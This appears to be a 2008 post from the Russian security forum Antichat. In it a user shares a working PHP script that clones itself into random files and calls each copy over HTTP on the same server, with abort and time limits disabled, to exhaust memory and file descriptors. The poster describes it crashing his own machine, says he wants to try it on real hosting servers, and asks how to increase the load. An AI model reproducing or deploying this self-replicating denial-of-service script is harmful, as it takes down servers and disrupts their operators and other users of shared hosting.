ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

02.12.2008, 16:17
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....
PHP код:
<?php
/************************************************
* Привет от ss88 *
************************************************
*/
//тьма пробелов
$zhopaString="
";
//понта ради, мы никогда этого не увидим
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов
ignore_user_abort();
//забыть о преградах и запретах
set_time_limit(0);
//хэшируем пробелы - не самая простая задача с точки зрения CPU
$zhopaString.=md5($zhopaString);
//имя нового клона
$randomFileName="bug".rand(0,99999).".php";
//открываем себя
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
//собственные внутренности
$selfContent=fread($selfFD,5000);
//создаем новый файл
$newFile=fopen($randomFileName,"w+");
//клонируем себя
fwrite($newFile,$selfContent);
//клон готов
fclose($newFile);
//формируем путь и вызываем клона на сцену
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
$arPath[count($arPath)-1]=$randomFileName;
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
$zhopaString.=md5(file_get_contents($getString));
//подключаем еще разок себя, но до этого врядли дойдет
require ($_SERVER['SCRIPT_NAME']);
?>
Вот такие вот банальные грабли для сервера получились, который сам себя будет Ddos'ить, мой локалхост под виндой ложится намертво, с 16 дефолтных МБ ОЗУ сьедает за 1.6 секунды 169Мб и вылетает либо виснет...
Вот тут еще открывается тема про открытые дескрипторы файлов, если не закрывать ранее открытые, то не переваливает за 256, но "сетевой маркетинг" продолжается...
Хочу потестить эти вилы в реальных условиях, но пока не решаюсь на серваках, которые мне дают хостинг....
Может кто-то что-то еще подскажет? Кстати, по-моему, можно увеличить нагрузку на сервер еще и за счет увеличения количества вычислений до обращения к клону...
Спасибо, Ch3ck, а то я забыл про аборты от юзеров
Последний раз редактировалось ss88; 02.12.2008 в 16:45..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|